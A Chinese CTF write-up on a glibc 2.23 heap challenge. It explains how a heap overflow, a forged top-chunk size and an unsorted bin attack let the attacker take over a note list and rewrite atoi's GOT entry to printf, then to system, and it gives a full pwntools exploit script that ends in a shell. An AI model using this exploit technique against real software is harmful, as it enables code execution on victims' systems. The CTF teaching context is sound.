unsored bin attack(非常规打法,算是进阶?)2.23版本

检查

开了got 可写 没开pie 随机地址,估计是改地址,具体看后续分析

静态分析

menu函数

基本就是菜单没什么可说的

这就是读入你的索引,但是这里有个atoi而且nptr是我们可以输入的,这个地方真的可以留个心眼,按ctf常见套路是可以打的

add函数

这里就是读入size 关键点来了,我们这里存储的实质上是v2的值也就是我们输入的size进入记录中,但是我们创造的chunk块 明显是由strdup(byte_6020c0)接受的字符作为我们实际创造的chunk值,但是我们edit的时候 读入的又是我们开始输入size的值,这里也就造成了堆溢出

edit函数

漏洞和上面想的一样,就是堆溢出

_int_free()函数

当申请的size要大于目前top chunk size的时候 会导致

但这个函数的触发是有条件的,如果没有满足条件则会报错

assert ((old_top == initial_top (av) && old_size == 0) ||
          ((unsigned long) (old_size) >= MINSIZE &&
           prev_inuse (old_top) &&
           ((unsigned long) old_end & (pagesize - 1)) == 0));

  /* Precondition: not enough current space to satisfy nb request */
assert ((unsigned long) (old_size) < (unsigned long) (nb + MINSIZE));

通过码源分析 我们发现

伪造的top_chunk的size要满足以下条件:

  • size要大于MINSIZE(MINSIZE一般为0x20)
  • size的pre_inuse位要为1
  • old_top(top chunk的addr) + size得出来的地址要满足页对齐,也就是后三个16进制位为0,如0x632000就满足页对齐
  • size要小于下一步申请的chunk的大小,或者说下一步再次请求时要触发_int_free(),所以malloc()的大小要比这个size大一点点

main_arena + 88周围的深度分析

top chunk、last_remainder、fd、bk

这个地方 重点是在下面两个红框框 只要保证上面两个是地址可找到就行 不重要,这里把fd和bk写成想要的堆地址 然后 再次创建就可以改变堆的位置了

思路流程

这道题目有个很明显的点 没有delete函数 和 show函数

所以导致有两个问题要解决

  1. 如何泄露地址
  2. 如何打uaf 或者 unsorted bin (因为没有free函数所以导致我们chunk的大小在0x90以下)

对于第一个问题也就是泄露地址 这里由于没有输出函数 我们只能放弃堆块上泄露地址的想法,去想别的办法,我们开始分析静态的时候 发现一个atoi 和可控的 nptr 由于 got表可写,我们可以想到把atoi改为printf 通过格式化字符串进行泄露 由于nptr的输入是没有受到限制的 因此是可行的,那又引申出一个问题如何修改got表

问题转变

  1. 如何修改got
  2. 如何打uaf 或者 unsorted bin (因为没有free函数所以导致我们chunk的大小在0x90以下)

这里没有free函数 但是我们可以堆溢出 打house of force 去修改top chunk size 然后利用触发_int_free()函数 把top chunk挂入unsorted bin

这里先介绍一下_int_free()函数,然后我们可以通过这个机制来将top chunk 以0xb1的大小挂入unsorted_bin,在进行chunk切割 uaf和堆溢出 利用进行覆盖把unsorted bin的bk修改为heaplist 然后利用unsorted bin attack的逻辑 把 main_arena+88的位置 挂入heaplist[0] 变为可控指针,也就是我们可以通过edit[0]去控制 main_arena+88周围,为了进行后续攻击我们需要看一下main_arena+88周围的值代表着什么,然后就利用这个方式去把下一次申请的堆 指向我们heaplist的位置 改变heaplist上的值,指向got表 这样我们就可以通过edit去控制got表了,后续就是泄露地址 挂system

  • 首先不断切割top chunk,然后劫持top chunk的size,再申请一个大的,让topchunk掉入unsortbin
  • 切割unsortedbin中的top chunk,通过Edit溢出,劫持ub里的chunk的bk指针,指向heap_list-0x10
  • Add一次,ubattack触发,修改heaplist的0号位置的ptr为main_arena+88(unsortbin的top chunk的位置)
  • 劫持unsortbin的top chunk、last_remainder、fd、bk,fd、bk指向新的位置
  • 劫持heap_list,改heaplist[0]=heap_list,然后Edit(0)劫持heap_list[0]=heap_list[1]=atoi_got
  • 改atoi_got为printf地址,硬改出一个格式化字符串
  • 通过fmt泄露libc_base
  • 然后改atoi_got为system,此时atoi变printf,注意程序中在get_int的时候返回的是atoi(&nptr),这里实际返回printf(&nptr),而printf的返回值是打印出的字符数量。

exp

#!/usr/bin/python3
from pwn import *
import random
import os
import sys
import time
from pwn import *
from ctypes import *
#--------------------setting context---------------------
context.clear(arch='amd64', os='linux', log_level='debug')
sla = lambda data, content: mx.sendlineafter(data,content)
sa = lambda data, content: mx.sendafter(data,content)
sl = lambda data: mx.sendline(data)
rl = lambda data: mx.recvuntil(data)
re = lambda data: mx.recv(data)
sa = lambda data, content: mx.sendafter(data,content)
inter = lambda: mx.interactive()
l64 = lambda:u64(mx.recvuntil(b'\x7f')[-6:].ljust(8,b'\x00'))
h64=lambda:u64(mx.recv(6).ljust(8,b'\x00'))
def dbg():
    gdb.attach(mx)

#---------------------------------------------------------
# libc = ELF('/home/henry/Documents/glibc-all-in-one/libs/2.35-0ubuntu3_amd64/libc.so.6')
libc = ELF('./libc-2.23.so')
filename = "./note_three"
mx = process(filename)
#io = remote("47.104.24.40",1337)
elf = ELF(filename)

#初始化完成---------------------------------------------------------
def new(num,size,content):
    sla("choice>> ","1")
    sla("idx: ",str(num))
    sla("size: ",str(size))
    sla("content: ",content)
def edit(num,content):
    sla("choice>> ","2")
    sla("idx: ",str(num))
    sla("content: ",content)
dbg()
for i in range(100):
        new(0,0x88,'0'*0x88)

new(1, 0x88, '1' * 0x80)  # 开0x90
new(2, 0x88, b'a' * 0x30)

edit(2, b'a' * 0x30 + p64(0) + p64(0xb1))  # 劫持top chunk的size为0xb1

new(0,0x90,b'a'*0x90) 
new(0,0x88,'a')                  # 切割unsortedbin中的topchunk
heap_list = 0x6021C0
edit(0,b'a'*0x10+p64(0)+p64(0x71)+p64(0)+p64(heap_list-0x10))  #unsorted bin attack
new(1,0x68,b'a'*0x60)

edit(0,p64(0x602098)+p64(0)+p64(0x6020c0+0x70)*2)
pause()
atoi_got = elf.got['atoi']
printf_plt = elf.plt['printf']

new(2,0x90,b'0'*0x78+p64(0x91)+p64(0x602260)*2)

payload = b'a'*0x80+p64(0x6021c0)+p64(0x100)         # 劫持heap_list,改heaplist[0]=heap_list
edit(2,payload) 
edit(0,p64(atoi_got)+p64(0x100)+p64(atoi_got)+p64(0x100))
edit(1,p64(printf_plt))

rl("choice>> ")
sl(b"%19$p")
libc_addr=int(mx.recv(14),16)-240-0x020740
print(hex(libc_addr))
libc.address=libc_addr
system=libc.symbols['system']
rl("choice>> ")
sl(b"1")
rl("idx: ")
mx.send(b" ")
rl("content: ")
sl(p64(system))
rl("choice>>")
sl(b"/bin/sh\x00")
inter()

注意事项

最后把print改写成功后 改写got那一段 要注意 流程已经改变了 因为print函数是返回的输入的字符的个数,这里要小心点,之前没注意调了好久md

还有一个位置

new(2,0x90,b'0'*0x78+p64(0x91)+p64(0x602260)*2)

这里的0x602260 通过调试是没有传上去的 我试着改为p64(0)就会报错 因为这个位置会有一个mov 传的地址,rax到上面去,所以必须得是个地址 至于是什么不重要 ,只要能访问就行

参考文献

[原创]unsortbin attack分析与总结-二进制漏洞-看雪-安全社区|安全招聘|kanxue.com

评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值